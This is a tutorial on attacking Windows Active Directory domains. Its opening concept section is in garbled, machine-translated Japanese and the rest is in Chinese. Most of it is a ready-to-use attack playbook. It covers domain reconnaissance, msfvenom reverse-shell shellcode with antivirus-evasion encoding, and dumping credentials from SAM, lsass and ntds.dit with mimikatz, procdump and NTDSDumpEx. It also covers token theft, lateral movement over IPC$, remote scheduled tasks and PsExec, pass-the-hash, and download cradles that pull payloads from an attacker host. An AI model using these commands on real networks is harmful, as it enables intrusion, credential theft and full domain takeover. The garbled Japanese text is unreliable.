1.知人ドメイン環境
ドメインとは何ですか
ドメインは、すべてのユーザーアカウント、コンピュータ、プリンタ、および他のセキュリティプリンシパルは、ドメインコントローラとして知られている1つまたは複数のクラスタ内に位置する中央コンピュータに中央データベースに登録されたコンピュータネットワークの形態です。ドメインコントローラでの認証。ドメイン内のコンピュータを使用して一人一人が、一意のユーザーアカウントを受け取ることになりますあなたは、そのアカウントに割り当てられたドメインのリソースにアクセスすることができます。ドメイン(ドメイン)が一緒に論理的に構成、ネットワーク内の複数のコンピュータ、集中管理され、論理的なこの環境は、ワーキンググループはドメインと呼ばれているとは異なります。
ドメイン制御
アクティブディレクトリ(Active Directoryの)上の一台のマシンにインストールした後、このマシンは、ドメインコントローラになることでした。ドメインでは、複数のドメインコントローラがあるかもしれません、ドメインコントローラは、関係なく、プライマリドメインコントローラとバックアップドメインコントローラの、各ドメインコントローラは、次のことができ、例えば、次の3つのドメインコントローラを持って、同じ文字として機能します変更を行うユーザーの許可のための任意のドメインコントローラ上で、変更内容はそのドメインコントローラに障害が発生した場合に限り、他のドメインコントローラがまだ正常に動作して、全体の、二つに他のドメインコントローラにレプリケートされますドメインがまだ正常に動作することができます。
アクティブディレクトリ(Active Directoryの)
ネットワークオブジェクトに関するActive Directoryの情報が格納され、これらのオブジェクトは、ユーザー、グループ、コンピュータ、制御ステーション、メール、プロフィール、組織単位、および洗浄の木ができるので、管理者とユーザーが簡単にこの情報を確認して使用することができます。
ドメインユーザー
ドメインコントローラ上のドメイン環境でのユーザー、ユーザー名とパスワードは検証がドメインユーザーによる任意のマシンのドメインにログオンすることができ、検証する必要があります。しかし、普通のユーザーは表示のみにドメインのマシンにログオンすることができ、ドメインのユーザーは、変更を加えることはできません。
ドメインチューブ
ドメイン管理者は、それが絶対的なドメインを持っている、ドメイン管理者が任意のミッションまたはポリシードメインのすべてのマシンを送信する権利を持って、修正するためにこのようなドメイン内の任意のマシンへの権利など、すべての権利を、制御し、ドメインコントローラにログオンすることができますコントロール。
组(gurup)
ドメイン管理者のユーザードメインは、このように管理を回避、グループのアクセス権の設定にし、別のグループに異なるユーザにグループ分けについては、とされたため、同社の権利の多くの従業員が同じで、これがありますメンバーだけでは、各ユーザー権利の割り当てのために面倒なことする必要があります。
信頼されたドメイン(信頼)
実際のケースでは、大企業では、以下の子会社のいくつかがあるでしょう、親ドメインに生じるであろう、子会社は別のドメインを持っている、そしてどのようにドメインの接触親会社と子会社のドメイン一緒に?私たちは、あなたが親ドメインのアカウントログオンドメイン子会社をしたい場合は、親会社のドメイン子会社は、信頼関係のドメインを確立する必要があり、それらの間の信頼関係(信頼関係)を構築することができます。親ドメインアカウントが、ドメイン子会社にログオンしたい場合は、原因親ドメインの信頼ドメインに関連会社は、ドメインは、ドメイン内のドメインコントローラを返すために、親のアクセスキーの子会社に耳を傾けます。親ドメインのドメイン子会社が信頼関係を確立していないとして、ドメインアカウントは、親会社の子会社は、ドメインにログオンすることはできませんです。
/ Domain_trustsは、私たちはしばしば、この上のビルドに水平浸透のドメイン内の信頼関係を使用して、信頼されたドメインのリストを表示します。
2.ドメイン情報の収集
1.nltest信頼できるドメイン
彼は、ドメイン名を解決したいと考えているため、一般的な2003のドメインコントローラは、プライマリDNSサーバー上に構築された後にシステムが付属しています。nltestツール。我々はいくつかのドメイン環境かどうかをネットワーククエリ内で、ワーキンググループでクエリをNLTESTすることができます。
ドメインコントローラを探す1
ifconfig /all
2.信頼されたドメインを検索
nltest /domain_trusts /all_trusts /v /server:192.168.0.130
IPに対応する信頼できるドメインを探す3。
nltest /dsgetdc:XXXXXX /server:192.168.0.130
4.nltestコマンド:
参考:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731935(v=ws.11)
https://blog.csdn.net/weixin_34377065/article/details/85597188
2.ドメイン情報の収集
1.csvde
CSVDE内蔵%WINDIR%/ SYSTEM32ディレクトリにあるコマンドラインツール、Windows Server 2008のです。
あなたは、AD DSまたはActive Directoryライトウェイトディレクトリサービス(AD LDS)サーバーの役割をインストールする場合は、この機能が利用可能です。
ツールが適しています:
- Windows Server 2003で
- windows server 2008
- windows server 2003 R2
- windows server 2008 R2
- windows server 2012
csvde -setspn payload -f C:\windows\temp\payload.csv
查看payload.csv
LDAP的存储规则(类似于一个数据库),用来存储域相关信息。
- 区分名(DN,Distinguished Name)一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。
- CN=Common Name 为用户名或服务器名,最长可以到80个字符,可以为中文;
- OU=Organization Unit为组织单元,最多可以有四级,每级最长32个字符,可以为中文;
- O=Organization 为组织名,可以3—64个字符长
- C=Country为国家名,可选,为2个字符长
2.setspn
SPN 官方名称为“服务主体名称”,本质上存储的是域内各种服务资源的对应关系。 如,对应的服务类型叫什么,机器名是什么,服务端口号是多少等等。 我们借助SPN可以快速定位当前目标域中所有存活的各类主机。
setspn -T payload -Q */*
setspn -T payload -Q */* | findstr SQL
通过上面收集到的主机信息,我们就可以使用域管理员账户去登录各目标系统进行查看。
3.dnsdump
https://github.com/dirkjanm/adidnsdump
dnsdump -u 域名\域用户 -p 域密码 域控服务器名
dnsdump -u payload\Micr067 -p admin@123 WIN-DC.payload.com
https://github.com/3gstudent/Homework-of-Powershell/blob/master/dns-dump.ps1
Powershell -ep bypass -f dns-dump.ps1 -zone payload.com
4.net
net user /domain 获取域用户列表
net group "domain admins" /domain 获取域管理员列表
net group "domain controllers" /domain 查看域控制器(如果有多台) net group "domain computers" /domain 查看域机器 net group /domain 查询域里面的组
5.net view
Net view 查看同一域内机器列表
net view \\ip 查看某IP共享
Net view \\GHQ 查看GHQ计算机的共享资源列表 net view /domain 查看内网存在多少个域 Net view /domain:XYZ 查看XYZ域中的机器列表
6.nbtscan
nbtscan.exe 192.168.0.1/24
DC 是域控服务器
3.域渗透思路
横向渗透---权限维持---抓取密码(获取域用户账号密码)---域信息收集---获取域管权限---拿下域控
1.弱口令爆破
超级弱口令工具 https://github.com/shack2/SNETCracker
2.dll加载shellcode免杀上线
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=1521 LHOST=192.168.245.129 -e x86/shikata_ga_nai -i 11 -f c -o shellcode.c
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp_uuid
msf > set lhost 192.168.245.129
msf > set lport 1521 msf > set EnableStageEncoding true msf > set StageEncoder x86/fnstenv_mov msf > exploit
将c程序编译为dll文件,在目标机器上运行即可。
- mingw下载:https://osdn.net/projects/mingw/downloads/68260/mingw-get-setup.exe/
- MinGW安装和使用 https://www.cnblogs.com/qcssmd/p/5302052.html
3.注册表读取密码
// 获取注册表信息
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
reg save HKLM\SAM c:\windows\temp\Sam.hiv
// mimikatz运行解密命令
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
5.Dump lsass进程内存获取hash
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
// 在mimikatz中运行,结果保存在日志里
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
6.LaZagne读取密码。
项目地址:https://github.com/AlessandroZ/LaZagne
LaZagne.exe all 执行所有模块,获取全部密码信息
7.利用token复制获取system权限
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
8.凭证窃取
通过tasklist /v查看进程用户,如果有域用户启的进程,则可以窃取域管凭证
- incognito下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
- 查看保存的凭证
incognito.exe list_tokens -u
- 窃取域管凭证
incognito.exe execute -c "payload\Administrator" cmd.exe
查看本地保存的凭证,可以看到有域管理员的凭证存在 成功窃取到域管理员的凭证,利用窃取的凭证我们可以查看域控上的保存的服务资源。
4.命令行渗透
- 远程登陆桌面增加暴露风险
- 目标管理员可能禁用对服务器远程登陆。
1.IPC$
建立ipc连接之后就可以访问目标机器的文件,可以进行上传、下载等操作,也可以在目标机器上运行命令。上传下载使用copy命令。
- 先建立IPC连接
net use \\192.168.245.130 /u:payload\administrator
- 复制文件到目标
copy shell.msi \\192.168.245.130\C$
- 复制目标机器文件到本地
copy \\192.168.52.2\C$\shell.msi
2.sc计划任务
• sc /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 执行的命令或者bat路径 /sc ONSTART /s 域机器IP /RU system • sc /run /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码 • sc /F /delete /tn task1 /s 域机器IP /U 域\域用户 /P 域用户密码
schtasks /create /tn task1 /U payload\administrator /P qwer1234! /tr "c:\windows\system32\cmd.exe /c net user > c:\\windows\\temp\\1.txt" /sc ONSTART /s 192.168.245.130 /RU system
schtasks /Run /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234!
schtasks /F /delete /tn task1 /s 192.168.245.130 /U payload\administrator /P qwer1234!
type \\192.168.245.130\C$\windows\temp\1.txt
3.psexe获取system权限
使用psexec之前先建立IPC连接
• net use \\192.168.245.130 /u:payload\administrator
• PsExec.exe \\192.168.245.130 -s cmd.exe -accepteula
• –accepteula 第一次运行会弹框,输入这个参数便不会弹框。
• -s 以 “nt authority\system” 权限运行远程进程
成功返回域控服务器system权限的命令行
4.hash传递
工具下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec.exe -hashes :用户Hash 域名/用户名@目标IP
psexec.exe -hashes :6912928308e3cda903e6d75bd6091a20 payload/administrator@192.168.245.130
5.windows命令行下载文件
- powershell
powershell (new-object Net.WebClient).DownloadFile('http://192.168.245.132/a.ps1','D:\phpstudy\WWW\a.ps1')
适用于windows 7以上版本。
- certutil
certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll msg.dll certutil.exe -urlcache -split -f http://192.168.245.132/msg.dll delete
certutil适用于server 2003以上版本 详情参考: https://docs.microsoft.com/en-us/previous-versions/orphan-topics/ws.10/cc773087(v=ws.10)?redirectedfrom=MSDN
- Bitadmin
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.245.132/b.ps1" "D:\\phpstudy\\WWW\\b.ps1"
Bitadmin适用于windows 7以上版本。 详情参考: https://docs.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN
- vbs
第一种,直接echo输入download.vbs。echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://192.168.245.132/a.ps1",0 >>download.vbs echo Post.Send() >>download.vbs echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs
第二种,保存脚本后再下载指定文件。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://192.168.245.132/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1
- Windows下载执行命令大全:
https://xz.aliyun.com/t/1654#toc-6
6.获取内网代理
内网有些资源需要指定的代理才能访问,我们可以通过读取注册表信息查找代理IP和端口信息。
注册表查看IE代理
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" /v ProxyServer reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
7.windows API利用
- 工具使用前提先需要建立IPC连接
- NetGroupGetUsers.exe:查询目标服务器本地管理组的成员
- NetLocalGroupGetMembers.exe:查询域里的各个组里的成员,IP必须是域控IP,域用户随意
- NetUserEnum.exe:查询目标服务器所有用户,包括隐藏用户
8.导域hash
- windows的密码以hash的形式存储在SAM文件中的。
- 域里面存储信息的数据库文件:c:\windows\ntds\ntds.dit
- ntds.dit其实就是个数据库,微软本身就有一系列的文档化api能够操作这个数据库,链接是: https://msdn.microsoft.com/en-us/library/windows/desktop/gg294074.aspx。
使用创建快照的方式导出ntds.dit文件 - 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
- 挂载快照
ntdsutil snapshot "mount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 复制ntds.dit
copy C:\$SNAP_201911241434_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
- 卸载快照
ntdsutil snapshot "unmount {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 删除快照
ntdsutil snapshot "delete {da243bc6-2278-44b4-9155-ed8a2e1e36fc}" quit quit
- 获取key
reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv
使用NTDSDumpEx获取所有域用户的Hash
NTDSDumpEx.exe -d ntds.dit -o hash.txt -s sys.hiv -h
NTDSDumpEx.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx